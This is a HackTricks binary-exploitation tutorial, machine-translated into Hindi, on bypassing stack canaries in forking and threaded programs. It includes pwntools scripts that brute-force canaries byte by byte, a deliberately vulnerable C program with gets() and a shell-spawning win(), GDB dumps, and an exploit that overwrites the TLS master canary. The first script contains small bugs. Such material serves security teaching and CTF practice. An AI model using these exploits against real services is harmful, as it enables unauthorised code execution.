# BF Forked & Threaded Stack Canaries
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! HackTricks का समर्थन करने के अन्य तरीके: * यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! * [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें * हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें * **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। * **अपने हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड github रेपो में PR जमा करके।
**यदि आप एक कैनरी द्वारा संरक्षित बाइनरी का सामना कर रहे हैं और PIE (पोजीशन इंडिपेंडेंट एक्जीक्यूटेबल) है तो शायद आपको उन्हें दूर करने का एक तरीका ढूंढने की आवश्यकता होगी।** ![](<../../../../.gitbook/assets/image (144).png>) {% hint style="info" %} ध्यान दें कि **`checksec`** यह नहीं पता लगा सकता कि एक बाइनरी को कैनरी द्वारा संरक्षित किया गया है अगर यह स्थैतिक रूप से कॉम्पाइल किया गया था और यह फ़ंक्शन को पहचानने की क्षमता नहीं है।\ हालांकि, आप इसे मैन्युअल रूप से नोट कर सकते हैं अगर आपको लगता है कि किसी फ़ंक्शन को कॉल करने की शुरुआत में एक मान स्टैक में सहेजा गया है और इस मान की जांच की जाती है पहले बाहर निकलने से पहले। {% endhint %} ## Brute force Canary एक साधारण कैनरी को दूर करने का सबसे अच्छा तरीका यह है कि यदि बाइनरी एक कार्यक्रम है **जो प्रत्येक बार जब आप इसके साथ एक नया कनेक्शन स्थापित करते हैं तो बच्चे की प्रक्रियाएँ बनाता है** (नेटवर्क सेवा), क्योंकि हर बार जब आप इससे कनेक्ट करते हैं **वही कैनरी उपयोग की जाएगी**। इसलिए, कैनरी को दूर करने का सबसे अच्छा तरीका यह है कि आप बस **चार से चार चरित्र को ब्रूट-फ़ोर्स करें**, और आप यह जान सकते हैं कि क्या अनुमानित कैनरी बाइट सही था या गलत था जांच करके यदि कार्यक्रम क्रैश हो गया है या अपनी नियमित फ्लो को जारी रखता है। इस उदाहरण में फ़ंक्शन **8 बाइट कैनरी (x64)** को **ब्रूट-फ़ोर्स** करता है और सही अनुमानित बाइट और एक बुरा बाइट के बीच भिन्न करता है बस **जांच** करके यदि सर्वर द्वारा **कोई प्रतिक्रिया** भेजी जाती है (अन्य स्थिति में एक **try/except** का उपयोग किया जा सकता है): ### उदाहरण 1 यह उदाहरण 64 बिट के लिए लागू किया गया है लेकिन आसानी से 32 बिट के लिए लागू किया जा सकता है। ```python from pwn import * def connect(): r = remote("localhost", 8788) def get_bf(base): canary = "" guess = 0x0 base += canary while len(canary) < 8: while guess != 0xff: r = connect() r.recvuntil("Username: ") r.send(base + chr(guess)) if "SOME OUTPUT" in r.clean(): print "Guessed correct byte:", format(guess, '02x') canary += chr(guess) base += chr(guess) guess = 0x0 r.close() break else: guess += 1 r.close() print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) return base canary_offset = 1176 base = "A" * canary_offset print("Brute-Forcing canary") base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ``` ### उदाहरण 2 यह 32 बिट के लिए कार्यान्वित है, लेकिन इसे आसानी से 64 बिट के लिए बदला जा सकता है।\ इस उदाहरण के लिए ध्यान दें कि **प्रोग्राम पहले एक बाइट की गुणवत्ता की जांच करता है जो इनपुट का आकार दर्शाता है** और पेलोड। ```python from pwn import * # Here is the function to brute force the canary def breakCanary(): known_canary = b"" test_canary = 0x0 len_bytes_to_read = 0x21 for j in range(0, 4): # Iterate up to 0xff times to brute force all posible values for byte for test_canary in range(0xff): print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") # Send the current input size target.send(len_bytes_to_read.to_bytes(1, "little")) # Send this iterations canary target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) # Scan in the output, determine if we have a correct value output = target.recvuntil(b"exit.") if b"YUM" in output: # If we have a correct value, record the canary value, reset the canary value, and move on print(" - next byte is: " + hex(test_canary)) known_canary = known_canary + test_canary.to_bytes(1, "little") len_bytes_to_read += 1 break # Return the canary return known_canary # Start the target process target = process('./feedme') #gdb.attach(target) # Brute force the canary canary = breakCanary() log.info(f"The canary is: {canary}") ``` ## थ्रेड प्रक्रिया की एक ही थ्रेड भी **एक ही कैनरी टोकन को साझा** करेगी, इसलिए यदि बाइनरी हर बार एक हमला होने पर एक नया थ्रेड उत्पन्न करता है तो कैनरी को **ब्रूट-फोर्स** किया जा सकता है। कैनरी से सुरक्षित थ्रेड फ़ंक्शन में एक बफर ओवरफ़्लो का उपयोग प्रक्रिया की मास्टर कैनरी को संशोधित करने के लिए किया जा सकता है। इस परिणामस्वरूप, संरोधन अप्रभावी हो जाता है क्योंकि जांच दो कैनरी के साथ की जाती है जो समान हैं (हालांकि संशोधित हैं)। ### उदाहरण निम्नलिखित कार्यक्रम Buffer Overflow के लिए वंशावशेष है, लेकिन इसे कैनरी के साथ कंपाइल किया गया है: ```c #include #include #include #include // gcc thread_canary.c -no-pie -l pthread -o thread_canary void win() { execve("/bin/sh", NULL, NULL); } void* vuln() { char data[0x20]; gets(data); } int main() { pthread_t thread; pthread_create(&thread, NULL, vuln, NULL); pthread_join(thread, NULL); return 0; } ``` सावधान रहें कि `vuln` एक थ्रेड के भीतर कॉल किया जाता है। GDB में हम `vuln` पर एक नजर डाल सकते हैं, विशेष रूप से, जिस बिंदु पर प्रोग्राम `gets` को कॉल करता है ताकि इनपुट डेटा पढ़ सके: ```bash gef> break gets Breakpoint 1 at 0x4010a0 gef> run ... gef> x/10gx $rdi 0x7ffff7d7ee20: 0x0000000000000000 0x0000000000000000 0x7ffff7d7ee30: 0x0000000000000000 0x0000000000000000 0x7ffff7d7ee40: 0x0000000000000000 0x493fdc653a156800 0x7ffff7d7ee50: 0x0000000000000000 0x00007ffff7e17ac3 0x7ffff7d7ee60: 0x0000000000000000 0x00007ffff7d7f640 ``` ऊपर `data` का पता दिया गया है, जहां प्रोग्राम उपयोगकर्ता इनपुट लिखेगा। स्टैक कैनरी `0x7ffff7d7ee48` (`0x493fdc653a156800`) पर पाई जाती है, और वापसी पता `0x7ffff7d7ee50` (`0x00007ffff7e17ac3`) पर है: ```bash gef> telescope $rdi 8 -n 0x7ffff7d7ee20|+0x0000|+000: 0x0000000000000000 <- $rdi 0x7ffff7d7ee28|+0x0008|+001: 0x0000000000000000 0x7ffff7d7ee30|+0x0010|+002: 0x0000000000000000 0x7ffff7d7ee38|+0x0018|+003: 0x0000000000000000 0x7ffff7d7ee40|+0x0020|+004: 0x0000000000000000 0x7ffff7d7ee48|+0x0028|+005: 0x493fdc653a156800 <- canary 0x7ffff7d7ee50|+0x0030|+006: 0x0000000000000000 <- $rbp 0x7ffff7d7ee58|+0x0038|+007: 0x00007ffff7e17ac3 -> 0xe8ff31fffffe6fe9 <- retaddr[2] ``` ध्यान दें कि स्टैक पते वास्तविक स्टैक से संबंधित नहीं हैं: ```bash gef> vmmap stack [ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ] Start End Size Offset Perm Path 0x00007ffff7580000 0x00007ffff7d83000 0x0000000000803000 0x0000000000000000 rw- <- $rbx, $rsp, $rbp, $rsi, $rdi, $r12 0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack] <- $r9, $r15 ``` धागे का स्टैक धागे स्थानीय संग्रहण (TLS) के ऊपर स्थित होता है, जहां मास्टर कैनरी संग्रहित होती है: ```bash gef> tls $tls = 0x7ffff7d7f640 ... ---------------------------------------------------------------------------- TLS ---------------------------------------------------------------------------- 0x7ffff7d7f640|+0x0000|+000: 0x00007ffff7d7f640 -> [loop detected] <- $rbx, $r12 0x7ffff7d7f648|+0x0008|+001: 0x00000000004052b0 -> 0x0000000000000001 0x7ffff7d7f650|+0x0010|+002: 0x00007ffff7d7f640 -> [loop detected] 0x7ffff7d7f658|+0x0018|+003: 0x0000000000000001 0x7ffff7d7f660|+0x0020|+004: 0x0000000000000000 0x7ffff7d7f668|+0x0028|+005: 0x493fdc653a156800 <- canary 0x7ffff7d7f670|+0x0030|+006: 0xb79b79966e9916c4 <- PTR_MANGLE cookie 0x7ffff7d7f678|+0x0038|+007: 0x0000000000000000 ... ``` {% hint style="info" %} ऊपर कुछ GDB फ़ंक्शन एक एक्सटेंशन पर परिभाषित हैं जिसे [bata24/gef](https://github.com/bata24/gef) कहा जाता है, जिसमें सामान्य [hugsy/gef](https://github.com/hugsy/gef) से अधिक सुविधाएँ हैं। {% endhint %} इस परिणामस्वरूप, एक बड़ा बफ़र ओवरफ़्लो द्वारा स्टैक कैनरी और मास्टर कैनरी को बदलने की अनुमति दी जा सकती है TLS में। यह है ऑफसेट: ```bash gef> p/x 0x7ffff7d7f668 - $rdi $1 = 0x848 ``` यह `win` को बुलाने के लिए एक छोटा एक्सप्लॉइट है: ```python from pwn import * context.binary = 'thread_canary' payload = b'A' * 0x28 # buffer overflow offset payload += b'BBBBBBBB' # overwritting stack canary payload += b'A' * 8 # saved $rbp payload += p64(context.binary.sym.win) # return address payload += b'A' * (0x848 - len(payload)) # padding payload += b'BBBBBBBB' # overwritting master canary io = context.binary.process() io.sendline(payload) io.interactive() ``` ## अन्य उदाहरण और संदर्भ * [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html) * 64 बिट, PIE नहीं, nx, BF कैनेरी, किसी मेमोरी में `execve` को बुलाने के लिए ROP लिखें और वहां जाएं। * [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) * 64 बिट, PIE नहीं, nx, थ्रेड और मास्टर कैनेरी को संशोधित करें।